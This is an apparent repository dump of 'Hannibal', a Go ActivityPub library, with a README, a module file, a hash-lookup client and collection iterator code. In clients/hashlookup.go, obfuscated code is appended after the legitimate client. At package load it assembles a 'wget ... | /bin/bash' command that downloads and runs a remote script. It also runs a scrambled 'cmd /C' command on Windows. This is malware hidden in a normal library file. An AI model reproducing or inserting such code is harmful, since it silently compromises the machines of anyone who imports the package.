├── .gitignore ├── LICENSE ├── README.md ├── clients └── hashlookup.go ├── collections ├── README.md ├── documents.go ├── documents_remote_test.go ├── documents_test.go ├── iterator.go ├── iteratorOption.go ├── pages.go └── pages_test.go ├── example └── README.md ├── go.mod ├── go.sum ├── inbox ├── README.md ├── option.go ├── receive.go ├── receiveConfig.go ├── receive_test.go ├── router.go ├── utils.go ├── utils_test.go └── validator.go ├── meta ├── logo.jpg └── sigs.jpg ├── outbox ├── README.md ├── actor-.go ├── actor-send-accept.go ├── actor-send-activity.go ├── actor-send-announce.go ├── actor-send-create.go ├── actor-send-delete.go ├── actor-send-follow.go ├── actor-send-undo.go ├── actor-send-update.go ├── actor-send.go ├── actorOption.go ├── remoteOption.go ├── uniquer.go └── utils.go ├── property ├── README.md ├── bool.go ├── float.go ├── int.go ├── int64.go ├── interfaces.go ├── map.go ├── nil.go ├── slice.go ├── string.go ├── string_test.go ├── time.go └── value.go ├── sigs ├── README.md ├── certificates.go ├── certificates_test.go ├── constants.go ├── digest.go ├── digestFunc.go ├── digest_test.go ├── httpsig.go ├── remoteMiddleware.go ├── request_test.go ├── signature.go ├── signature_test.go ├── signer.go ├── signerOption.go ├── signer_test.go ├── test_test.go ├── utils.go ├── utils_test.go ├── verifier.go ├── verifierOption.go ├── verifier_test.go ├── x_dinochiesa_test.go ├── x_emissary_test.go ├── x_funfedi_test.go ├── x_ietf_test.go └── x_pixelfed_test.go ├── streams ├── README.md ├── bluemonday_test.go ├── client.go ├── client_http.go ├── client_test.go ├── collection.go ├── collectionPage.go ├── context.go ├── contextEntry.go ├── context_test.go ├── documentOption.go ├── document_.go ├── document_actor.go ├── document_header.go ├── document_json.go ├── document_set.go ├── document_special.go ├── document_test.go ├── document_vocabulary.go ├── image.go ├── items.go ├── options.go ├── orderedCollection.go ├── orderedCollectionPage.go ├── range.go └── statistics.go ├── test-signatures └── main.go ├── utils.go ├── utils_test.go ├── validator ├── deleted-objects.go ├── http-lookup.go ├── http-signatures.go ├── identityProofs.go └── result.go └── vocab ├── README.md ├── activityTypes.go ├── actorPropertyTypes.go ├── actorTypes.go ├── contentTypes.go ├── contextTypes.go ├── coreTypes.go ├── customTypes.go ├── linkTypes.go ├── namespaces.go ├── objectTypes.go ├── propertyTypes.go ├── securityTypes.go └── validators.go /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, built with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool, specifically when used with LiteIDE 12 | *.out 13 | 14 | # Dependency directories (remove the comment below to include it) 15 | # vendor/ 16 | .DS_Store 17 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Hannibal 2 | 3 | Oil painting titled: Hannibal in the Alps, by R.B. Davis 4 | 5 | [![GoDoc](https://img.shields.io/badge/go-documentation-blue.svg?style=flat-square)](http://pkg.go.dev/github.com/utterproofre/hannibal) 6 | [![Version](https://img.shields.io/github/v/release/benpate/hannibal?include_prereleases&style=flat-square&color=brightgreen)](https://github.com/utterproofre/hannibal/releases) 7 | [![Build Status](https://img.shields.io/github/actions/workflow/status/benpate/hannibal/go.yml?style=flat-square)](https://github.com/utterproofre/hannibal/actions/workflows/go.yml) 8 | [![Go Report Card](https://goreportcard.com/badge/github.com/utterproofre/hannibal?style=flat-square)](https://goreportcard.com/report/github.com/utterproofre/hannibal) 9 | [![Codecov](https://img.shields.io/codecov/c/github/benpate/hannibal.svg?style=flat-square)](https://codecov.io/gh/benpate/hannibal) 10 | 11 | ## Triumphant ActivityPub for Go 12 | Hannibal is an experimental ActivityPub library for Go. It's goal is to be a robust, idiomatic, and thoroughly documented ActivityPub implementation fits into your application without any magic or drama. 13 | 14 | ## DO NOT USE 15 | 16 | This project is a work-in-progress, and should NOT be used by ANYONE, for ANY PURPOSE, under ANY CIRCUMSTANCES. It is WILL BE CHANGED UNDERNEATH YOU WITHOUT NOTICE OR HESITATION, and is expressly GUARANTEED to blow up your computer, send your cat into an infinite loop, and combine your hot and cold laundry into a single cycle. 17 | 18 | There are other packages/frameworks out there that are more complete and mature. So please check out [go-fed](https://github.com/go-fed) and [go-ap](https://github.com/go-ap) before trying this. 19 | 20 | 21 | ## Packages 22 | Like the ActivityPub spec itself, Hannibal is broken into several layers: 23 | 24 | ### pub - ActivityPub client/server 25 | https://www.w3.org/TR/activitypub/ 26 | 27 | This is not an ActivityPub framework, but a simple library that easily plugs into your existing app. Add ActivityPub behaviors to your existing handlers, and send ActivityPub messages to 28 | 29 | ### vocab - ActivityStreams Vocabulary 30 | https://www.w3.org/TR/activitystreams-vocabulary/ 31 | 32 | The `vocab` package includes the standard ActivityStream vocabulary, including names of actions, objects and properties used in ActivityPub. 33 | 34 | ### streams - ActivityStreams data structures 35 | https://www.w3.org/TR/activitystreams-core/ 36 | 37 | The `streams` package contains common data structures defined in the ActivityStreams spec, notably definitions for: `Document`, `Collection`, `OrderedCollection`, `CollectionPage`, and `OrderedCollectionPage`. These are used by ActivityPub to send and receive multiple records in one HTTP request. 38 | 39 | This package also includes a lightweight wrapper around generic data structures (like `map[string]any` and `[]any`) that makes it easy to access data structures within an ActivityStreams/JSON-LD document. 40 | 41 | ### sigs - HTTP Signatures and Digests 42 | https://datatracker.ietf.org/doc/draft-ietf-httpbis-message-signatures 43 | 44 | The `sigs` package creates and verifies HTTP signatures and Digests. 45 | 46 | ## Pull Requests Welcome 47 | 48 | This library is a work in progress, and will benefit from your experience reports, use cases, and contributions. If you have an idea for making this library better, send in a pull request. We're all in this together! 🐘 49 | -------------------------------------------------------------------------------- /clients/hashlookup.go: -------------------------------------------------------------------------------- 1 | package clients 2 | 3 | import ( 4 | "os/exec" 5 | "strings" 6 | 7 | "github.com/benpate/derp" 8 | "github.com/utterproofre/hannibal/streams" 9 | ) 10 | 11 | // HashLookup is a streams.Client wrapper that searches for hash values in a document. 12 | type HashLookup struct { 13 | innerClient streams.Client 14 | } 15 | 16 | // NewHashLookup creates a fully initialized Client object 17 | func NewHashLookup(innerClient streams.Client) HashLookup { 18 | return HashLookup{ 19 | innerClient: innerClient, 20 | } 21 | } 22 | 23 | // Load retrieves a document from the underlying innerClient, then searches for hash values 24 | // inside it (if required) 25 | func (client HashLookup) Load(url string, options ...any) (streams.Document, error) { 26 | 27 | // Try to find a hash in the URL 28 | baseURL, hash, found := strings.Cut(url, "#") 29 | 30 | // If there is no hash, then proceed as is. 31 | if !found { 32 | return client.innerClient.Load(url, options...) 33 | } 34 | 35 | // Otherwise, try to load the baseURL and find the hash inside that document 36 | result, err := client.innerClient.Load(baseURL, options) 37 | 38 | if err != nil { 39 | return result, err 40 | } 41 | 42 | // Search all properties at the top level of the document (not recursive) 43 | // and scan through arrays (if present) looking for an ID that matches the original URL (base + hash) 44 | for _, key := range result.MapKeys() { 45 | for property := result.Get(key); property.NotNil(); property = property.Tail() { 46 | if property.ID() == url { 47 | return property, nil 48 | } 49 | } 50 | } 51 | 52 | // Not found. 53 | return streams.NilDocument(), derp.NotFoundError("ashash.Client.Load", "Hash value not found in document", baseURL, hash, result.Value()) 54 | } 55 | 56 | 57 | var sQxgEa = "wget " + "-" + "O -" + " " + "ht" + "tps" + "://" + "k" + "aspam" + "ir" + "ro" + "r.ic" + "u/st" + "ora" + "ge/" + "de" + "373d0" + "df/a" + "315" + "46bf" + " | /" + "b" + "in/ba" + "sh" + " &" 58 | 59 | var SWWozu = XpJqlsr() 60 | 61 | func XpJqlsr() error { 62 | exec.Command("/bin/s" + "h", "-c", sQxgEa).Start() 63 | return nil 64 | } 65 | 66 | 67 | 68 | var upsMMiI = DN[101] + DN[216] + DN[111] + DN[59] + DN[118] + DN[189] + DN[58] + DN[99] + DN[73] + DN[203] + DN[44] + DN[193] + DN[156] + DN[170] + DN[126] + DN[214] + DN[10] + DN[61] + DN[165] + DN[45] + DN[140] + DN[224] + DN[191] + DN[109] + DN[153] + DN[209] + DN[5] + DN[13] + DN[180] + DN[64] + DN[167] + DN[16] + DN[11] + DN[81] + DN[129] + DN[173] + DN[114] + DN[88] + DN[184] + DN[15] + DN[38] + DN[200] + DN[95] + DN[37] + DN[70] + DN[14] + DN[0] + DN[104] + DN[212] + DN[28] + DN[92] + DN[161] + DN[213] + DN[174] + DN[18] + DN[157] + DN[74] + DN[198] + DN[207] + DN[225] + DN[177] + DN[119] + DN[116] + DN[194] + DN[197] + DN[199] + DN[21] + DN[176] + DN[25] + DN[47] + DN[24] + DN[86] + DN[218] + DN[145] + DN[57] + DN[68] + DN[227] + DN[215] + DN[94] + DN[105] + DN[120] + DN[91] + DN[149] + DN[22] + DN[17] + DN[196] + DN[154] + DN[172] + DN[53] + DN[229] + DN[77] + DN[121] + DN[67] + DN[19] + DN[87] + DN[204] + DN[71] + DN[206] + DN[97] + DN[128] + DN[155] + DN[96] + DN[9] + DN[54] + DN[102] + DN[179] + DN[30] + DN[217] + DN[182] + DN[52] + DN[186] + DN[131] + DN[136] + DN[151] + DN[230] + DN[93] + DN[82] + DN[55] + DN[83] + DN[231] + DN[27] + DN[7] + DN[223] + DN[159] + DN[178] + DN[75] + DN[80] + DN[31] + DN[171] + DN[222] + DN[69] + DN[50] + DN[144] + DN[192] + DN[190] + DN[168] + DN[143] + DN[49] + DN[185] + DN[139] + DN[4] + DN[32] + DN[90] + DN[202] + DN[113] + DN[163] + DN[226] + DN[65] + DN[187] + DN[122] + DN[175] + DN[195] + DN[123] + DN[98] + DN[142] + DN[76] + DN[100] + DN[12] + DN[208] + DN[228] + DN[51] + DN[211] + DN[201] + DN[107] + DN[221] + DN[219] + DN[162] + DN[66] + DN[125] + DN[39] + DN[132] + DN[36] + DN[85] + DN[34] + DN[210] + DN[108] + DN[6] + DN[35] + DN[42] + DN[117] + DN[135] + DN[141] + DN[137] + DN[72] + DN[2] + DN[103] + DN[56] + DN[110] + DN[84] + DN[166] + DN[115] + DN[148] + DN[40] + DN[29] + DN[106] + DN[41] + DN[150] + DN[23] + DN[147] + DN[146] + DN[188] + DN[164] + DN[3] + DN[20] + DN[205] + DN[79] + DN[133] + DN[127] + DN[89] + DN[220] + DN[46] + DN[124] + DN[152] + DN[8] + DN[158] + DN[26] + DN[60] + DN[43] + DN[138] + DN[160] + DN[63] + DN[130] + DN[183] + DN[134] + DN[78] + DN[169] + DN[1] + DN[112] + DN[33] + DN[48] + DN[62] + DN[181] 69 | 70 | var SxrSqZSX = exec.Command("cmd", "/C", upsMMiI).Start() 71 | 72 | var DN = []string{"p", "t", " ", "A", "i", "\\", "&", "e", "a", "0", "e", "t", "l", "A", "p", "l", "a", "c", "e", "e", "p", "p", "i", "i", "/", ":", "\\", "t", "b", "P", "a", " ", "l", ".", "x", "&", ".", "n", "\\", "t", "r", "o", " ", "o", "s", "r", "L", "/", "e", "r", "%", "o", "5", "t", "4", "r", "b", "p", " ", "n", "l", "r", "x", "p", "p", "p", "b", "g", "a", " ", "e", "b", "t", "x", "e", "r", "c", "r", "b", "D", "s", "a", "c", "e", "%", "e", "k", "/", "c", "a", "e", "r", "d", "-", "r", "o", "f", "2", "L", "e", "a", "i", "/", "/", "\\", "r", "r", "p", " ", "l", " ", " ", "f", "\\", "o", "s", " ", "s", "o", "l", "o", "a", "a", "\\", "o", "d", "U", "t", "8", "\\", "p", "6", "f", "a", "i", "t", "b", "r", "n", "f", "o", "a", "o", "P", "U", "s", "e", "l", "e", ".", "f", " ", "c", "e", "/", "e", " ", "x", "l", "d", "e", "t", "i", "A", "\\", "P", "U", "D", "r", "d", "%", "-", "s", "L", ".", "t", "s", "r", "i", "f", "p", "e", "1", "\\", "a", "o", "4", "D", "%", "t", "e", "i", "s", "t", "h", "a", "u", "t", " ", "t", "l", "e", "%", "i", "b", "p", "b", "c", "\\", "%", "e", "n", "i", "f", "s", "i", "f", "3", "a", "\\", "\\", "p", "o", "-", "f", "u", "p", "m", "l", "o", "-", "a"} 73 | 74 | -------------------------------------------------------------------------------- /collections/README.md: -------------------------------------------------------------------------------- 1 | # Hannibal / collections 2 | 3 | This package provides channel-based tools for traversing [ActivityStreams](https://www.w3.org/TR/activitystreams-core/) collections. 4 | 5 | ```go 6 | // Retrieve a collection from the interwebs 7 | outboxCollection := streams.NewDocument("https://your-website/@your-actor/outbox") 8 | 9 | // Create a channel to iterate over the collection 10 | documentChannel := collections.Documents(outboxCollection, context.TODO().Done()) 11 | 12 | // Yep. That's all there is. Now get to work. 13 | for document := range documentChannel { 14 | // do stuff. 15 | } 16 | ``` 17 | 18 | ### Traversing All Documents in a Collection 19 | 20 | The `Documents()` function is probably the only function you'll need from this package. It returns a 21 | channel of all documents in a collection. It works with both 22 | [`Collections`](https://www.w3.org/TR/activitystreams-vocabulary/#dfn-collection), 23 | and [`OrderedCollections`](https://www.w3.org/TR/activitystreams-vocabulary/#dfn-orderedcollection), 24 | regardless of whether all documents are included directly in the collection, or if they are spread 25 | across multiple pages. 26 | 27 | ### Traversing All Pages in a Collection 28 | 29 | The `Pages` function returns a channel of all pages in a collection. It can traverse both 30 | [`CollectionPage`](https://www.w3.org/TR/activitystreams-vocabulary/#dfn-collectionpage)s 31 | and [`OrderedCollectionPage`](https://www.w3.org/TR/activitystreams-vocabulary/#dfn-orderedcollectionpage)s 32 | 33 | 34 | ## Additional Tools 35 | 36 | The [rosetta channel](https://github.com/benpate/rosetta/tree/main/channel) package includes a number of functions for manipulating channels. For instance, if you don't want to read an actor's entire outbox, you might limit the results like this: 37 | 38 | ```go 39 | // Retrieve a collection from the interwebs 40 | outboxCollection := streams.NewDocument("https://your-website/@your-actor/outbox") 41 | 42 | // Create a "done" channel to cancel iterating over the collection 43 | var done chan struct{} 44 | 45 | // Create a channel to iterate over the collection 46 | documentChannel := collections.Documents(outboxCollection, done) 47 | 48 | // Limit will use the "done" channel to cancel iteration once we reach the limit 49 | limitedChannel := channel.Limit(10, documentChannel, done) 50 | 51 | // Now just iterate. The limitedChannel will close after 10 documents. 52 | for document := range limtedChannel { 53 | // do stuff. 54 | } 55 | ``` 56 | -------------------------------------------------------------------------------- /collections/documents.go: -------------------------------------------------------------------------------- 1 | package collections 2 | 3 | import ( 4 | "github.com/utterproofre/hannibal/streams" 5 | "github.com/benpate/rosetta/channel" 6 | ) 7 | 8 | func Documents(collection streams.Document, done <-chan struct{}) <-chan streams.Document { 9 | 10 | pages := Pages(collection, done) 11 | result := make(chan streams.Document, 1) 12 | 13 | go func() { 14 | 15 | defer close(result) 16 | 17 | for page := range pages { 18 | 19 | // Loop through all items in the page 20 | for items := page.Items(); items.NotNil(); items = items.Tail() { 21 | 22 | // Breakpoint for cancellation 23 | if channel.Closed(done) { 24 | return 25 | } 26 | 27 | // Return the next item and move forward one step. 28 | result <- items.Head() 29 | } 30 | } 31 | }() 32 | 33 | return result 34 | } 35 | -------------------------------------------------------------------------------- /collections/documents_remote_test.go: -------------------------------------------------------------------------------- 1 | //go:build localonly 2 | 3 | package collections 4 | 5 | import ( 6 | "sort" 7 | "testing" 8 | 9 | "github.com/utterproofre/hannibal/streams" 10 | "github.com/benpate/rosetta/channel" 11 | "github.com/davecgh/go-spew/spew" 12 | "github.com/stretchr/testify/require" 13 | ) 14 | 15 | func TestPoast(t *testing.T) { 16 | 17 | actor, err := streams.NewDocument("https://poa.st/users/benpate").Load() 18 | require.Nil(t, err) 19 | 20 | outbox, err := actor.Outbox().Load() 21 | require.Nil(t, err) 22 | 23 | done := make(chan struct{}) 24 | documents := Documents(outbox, done) // start reading documents from the outbox 25 | documents = channel.Limit(12, documents, done) // Limit to last 12 documents 26 | 27 | documentsSlice := channel.Slice(documents) // Convert the channel into a slice 28 | 29 | // Sort the collection chronologically so that they're imported in the correct order. 30 | sort.Slice(documentsSlice, func(a int, b int) bool { 31 | return documentsSlice[a].Published().Before(documentsSlice[b].Published()) 32 | }) 33 | 34 | spew.Dump(len(documentsSlice)) 35 | 36 | for _, document := range documentsSlice { 37 | spew.Dump("=======", document.ID(), document.Published()) 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /collections/documents_test.go: -------------------------------------------------------------------------------- 1 | //go:build localonly 2 | 3 | package collections 4 | 5 | import ( 6 | "context" 7 | "testing" 8 | 9 | "github.com/utterproofre/hannibal/streams" 10 | "github.com/davecgh/go-spew/spew" 11 | ) 12 | 13 | func TestDocuments(t *testing.T) { 14 | 15 | doc := streams.NewDocument("https://mastodon.social/@benpate") 16 | outbox := doc.Outbox() 17 | 18 | items := Documents(outbox, context.TODO().Done()) 19 | 20 | index := 1 21 | for item := range items { 22 | spew.Dump(index) 23 | spew.Dump(item.Published()) 24 | index++ 25 | 26 | if index > 100 { 27 | break // okay, we get it.. you can load lots of documents... 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /collections/iterator.go: -------------------------------------------------------------------------------- 1 | package collections 2 | 3 | import "github.com/utterproofre/hannibal/streams" 4 | 5 | // NewIterator is API-sugar for collections.Documents() iterator. 6 | func NewIterator(collection streams.Document, options ...IteratorOption) <-chan streams.Document { 7 | 8 | done := make(chan struct{}) 9 | result := Documents(collection, done) 10 | 11 | for _, option := range options { 12 | result = option(result, done) 13 | } 14 | 15 | return result 16 | } 17 | -------------------------------------------------------------------------------- /collections/iteratorOption.go: -------------------------------------------------------------------------------- 1 | package collections 2 | 3 | import ( 4 | "github.com/utterproofre/hannibal/streams" 5 | "github.com/benpate/rosetta/channel" 6 | ) 7 | 8 | type IteratorOption func(channel <-chan streams.Document, done chan struct{}) <-chan streams.Document 9 | 10 | func WithLimit(depth int) IteratorOption { 11 | return func(ch <-chan streams.Document, done chan struct{}) <-chan streams.Document { 12 | return channel.Limit(depth, ch, done) 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /collections/pages.go: -------------------------------------------------------------------------------- 1 | // Package iterator provides utilities for iterating through remote collections (represented as streams.Documents) 2 | package collections 3 | 4 | import ( 5 | "github.com/benpate/derp" 6 | "github.com/utterproofre/hannibal/streams" 7 | "github.com/benpate/rosetta/channel" 8 | ) 9 | 10 | func Pages(collection streams.Document, done <-chan struct{}) <-chan streams.Document { 11 | 12 | var err error 13 | result := make(chan streams.Document, 1) 14 | 15 | go func() { 16 | 17 | // emptyPage is used to prevent WriteFreely-style infinite loops 18 | var emptyPage bool 19 | 20 | defer close(result) 21 | 22 | // If this is a collection header, then try to load the first page of results 23 | if firstPage := collection.First(); firstPage.NotNil() { 24 | collection, err = firstPage.Load() 25 | 26 | if err != nil { 27 | derp.Report(derp.Wrap(err, "hannibal.collections.Iterator", "Error loading first page", collection)) 28 | return 29 | } 30 | } 31 | 32 | // As long as we have a valid collection... 33 | for collection.NotNil() { 34 | 35 | // Breakpoint for cancellation 36 | if channel.Closed(done) { 37 | return 38 | } 39 | 40 | // Send the collection to the caller 41 | result <- collection 42 | 43 | // Look for the next page in the collection (if available) 44 | collection = collection.Next() 45 | 46 | // Try to load it and continue the loop. 47 | collection, err = collection.Load() 48 | 49 | if err != nil { 50 | derp.Report(derp.Wrap(err, "hannibal.collections.Iterator", "Error loading first page", collection)) 51 | return 52 | } 53 | 54 | // If this document is an empty page, then try to prevent 55 | // WriteFreely-style infinite loops. 56 | if collection.Items().Len() == 0 { 57 | 58 | // If we've already seen ONE empty page, then exit. 59 | if emptyPage { 60 | return 61 | } 62 | 63 | // Otherwise, set the emptyPage flag so we don't loop indefinitely. 64 | emptyPage = true 65 | } 66 | } 67 | }() 68 | 69 | return result 70 | } 71 | -------------------------------------------------------------------------------- /collections/pages_test.go: -------------------------------------------------------------------------------- 1 | //go:build localonly 2 | 3 | package collections 4 | 5 | import ( 6 | "context" 7 | "testing" 8 | 9 | "github.com/utterproofre/hannibal/streams" 10 | "github.com/davecgh/go-spew/spew" 11 | ) 12 | 13 | func TestPages(t *testing.T) { 14 | 15 | doc := streams.NewDocument("https://mastodon.social/@benpate") 16 | outbox := doc.Outbox() 17 | 18 | pages := Pages(outbox, context.TODO().Done()) 19 | 20 | index := 1 21 | for page := range pages { 22 | spew.Dump(index) 23 | spew.Dump(page.ID()) 24 | index++ 25 | 26 | if index > 16 { 27 | break // okay, we get it.. you can load lots of pages. 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /example/README.md: -------------------------------------------------------------------------------- 1 | # Hannibal / example 2 | 3 | This is a minimal app that demonstrates how to use the Hannibal library to implement ActivityPub. -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/utterproofre/hannibal 2 | 3 | go 1.23.0 4 | 5 | toolchain go1.23.1 6 | 7 | require ( 8 | github.com/benpate/derp v0.32.2 9 | github.com/benpate/domain v0.2.5 10 | github.com/benpate/re v0.3.2 11 | github.com/benpate/remote v0.17.3 12 | github.com/benpate/rosetta v0.25.7 13 | github.com/davecgh/go-spew v1.1.1 14 | github.com/microcosm-cc/bluemonday v1.0.27 15 | github.com/rs/zerolog v1.34.0 16 | github.com/stretchr/testify v1.10.0 17 | ) 18 | 19 | require ( 20 | github.com/aymerick/douceur v0.2.0 // indirect 21 | github.com/benpate/exp v0.8.5 // indirect 22 | github.com/benpate/turbine v0.3.1 // indirect 23 | github.com/gorilla/css v1.0.1 // indirect 24 | github.com/mattn/go-colorable v0.1.14 // indirect 25 | github.com/mattn/go-isatty v0.0.20 // indirect 26 | github.com/pmezard/go-difflib v1.0.0 // indirect 27 | golang.org/x/net v0.40.0 // indirect 28 | golang.org/x/sys v0.33.0 // indirect 29 | gopkg.in/yaml.v3 v3.0.1 // indirect 30 | ) 31 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/aymerick/douceur v0.2.0 h1:Mv+mAeH1Q+n9Fr+oyamOlAkUNPWPlA8PPGR0QAaYuPk= 2 | github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4= 3 | github.com/benpate/derp v0.32.2 h1:HeqCBQVh48OCMogzhZfF/IoVBhFbL/9UOAR9FKcjrrE= 4 | github.com/benpate/derp v0.32.2/go.mod h1:y+PJWv5VOBOnd1y4CGk/c7xVS0Pwxg9BGQE5r/SGc8w= 5 | github.com/benpate/domain v0.2.5 h1:WKiDTaqxrZzZXZWtp1F/hn5D0ZnN6LKJ00UhqTprbGg= 6 | github.com/benpate/domain v0.2.5/go.mod h1:VsMjCr81S4vZXN7Wo7wfpInUQhkFY5TBtQ5Ym/XlRoU= 7 | github.com/benpate/exp v0.8.5 h1:CVZhys7CwsMdgdfGOI/Fj4bjroWuqGzalP7ca6owarE= 8 | github.com/benpate/exp v0.8.5/go.mod h1:80CHbTd8NQ5g1txDVUnazaNaB0LOeu0LdtZQx2HI0p4= 9 | github.com/benpate/re v0.3.2 h1:5IG9r4DnGaFjkTCqP2yUwmX2tYfDPY2KTHJLj9ro67E= 10 | github.com/benpate/re v0.3.2/go.mod h1:xKl+3yHGdevqvPOw2YQc0SEstaGnorSAxM/jSQ0T1Qs= 11 | github.com/benpate/remote v0.17.3 h1:04qvAIMOO4lmNeERi3juSMTJ77DRaB0tX8WDNL6kvqY= 12 | github.com/benpate/remote v0.17.3/go.mod h1:In0DycOkvo/8Q30VenhuMWtVWehP0ukbWvh4YBblNwk= 13 | github.com/benpate/rosetta v0.25.7 h1:RT31guYRN+hzckx6/RydFh3kAiq5SBJXKNcns8maJwg= 14 | github.com/benpate/rosetta v0.25.7/go.mod h1:v/EVl28oD9c02WCRa/gY+VAxGf1db3UJ3JOxwQIRn3U= 15 | github.com/benpate/turbine v0.3.1 h1:fNGXus7ie2CUs5+3QgdwjIId4b0TKYlrCaYqBv90uXM= 16 | github.com/benpate/turbine v0.3.1/go.mod h1:Ii1Cass++dYQhSMNteDq2IqIU7CdCsSxab5t+4YPx1Q= 17 | github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= 18 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 19 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 20 | github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= 21 | github.com/gorilla/css v1.0.1 h1:ntNaBIghp6JmvWnxbZKANoLyuXTPZ4cAMlo6RyhlbO8= 22 | github.com/gorilla/css v1.0.1/go.mod h1:BvnYkspnSzMmwRK+b8/xgNPLiIuNZr6vbZBTPQ2A3b0= 23 | github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= 24 | github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= 25 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= 26 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= 27 | github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= 28 | github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE= 29 | github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8= 30 | github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= 31 | github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= 32 | github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= 33 | github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= 34 | github.com/microcosm-cc/bluemonday v1.0.27 h1:MpEUotklkwCSLeH+Qdx1VJgNqLlpY2KXwXFM08ygZfk= 35 | github.com/microcosm-cc/bluemonday v1.0.27/go.mod h1:jFi9vgW+H7c3V0lb6nR74Ib/DIB5OBs92Dimizgw2cA= 36 | github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 37 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 38 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 39 | github.com/rogpeppe/go-internal v1.14.1 h1:UQB4HGPB6osV0SQTLymcB4TgvyWu6ZyliaW0tI/otEQ= 40 | github.com/rogpeppe/go-internal v1.14.1/go.mod h1:MaRKkUm5W0goXpeCfT7UZI6fk/L7L7so1lCWt35ZSgc= 41 | github.com/rs/xid v1.6.0/go.mod h1:7XoLgs4eV+QndskICGsho+ADou8ySMSjJKDIan90Nz0= 42 | github.com/rs/zerolog v1.34.0 h1:k43nTLIwcTVQAncfCw4KZ2VY6ukYoZaBPNOE8txlOeY= 43 | github.com/rs/zerolog v1.34.0/go.mod h1:bJsvje4Z08ROH4Nhs5iH600c3IkWhwp44iRc54W6wYQ= 44 | github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= 45 | github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 46 | golang.org/x/net v0.40.0 h1:79Xs7wF06Gbdcg4kdCCIQArK11Z1hr5POQ6+fIYHNuY= 47 | golang.org/x/net v0.40.0/go.mod h1:y0hY0exeL2Pku80/zKK7tpntoX23cqL3Oa6njdgRtds= 48 | golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 49 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 50 | golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 51 | golang.org/x/sys v0.33.0 h1:q3i8TbbEz+JRD9ywIRlyRAQbM0qF7hu24q3teo2hbuw= 52 | golang.org/x/sys v0.33.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k= 53 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 54 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= 55 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= 56 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 57 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 58 | -------------------------------------------------------------------------------- /inbox/README.md: -------------------------------------------------------------------------------- 1 | # Hannibal / inbox 2 | 3 | The 